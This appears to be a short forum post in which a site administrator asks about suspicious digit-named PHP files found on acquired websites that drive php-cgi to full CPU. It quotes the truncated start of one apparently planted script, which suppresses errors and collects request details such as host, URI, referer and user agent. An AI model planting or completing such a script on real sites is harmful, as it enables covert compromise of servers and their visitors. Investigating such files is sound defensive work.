HostGator Coupon Code

I’m working on bringing in a bunch of sites from an acquisition, and I had noticed that php-cgi process were spawned and taking 100% CPU. Looking into those processes, they were running PHP files with filenames that contained digits (ie: 157681.php), with content like the following: Code: <? error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST); $b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME); $c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI); $d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF); $e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING); $f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER); $g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT); [...]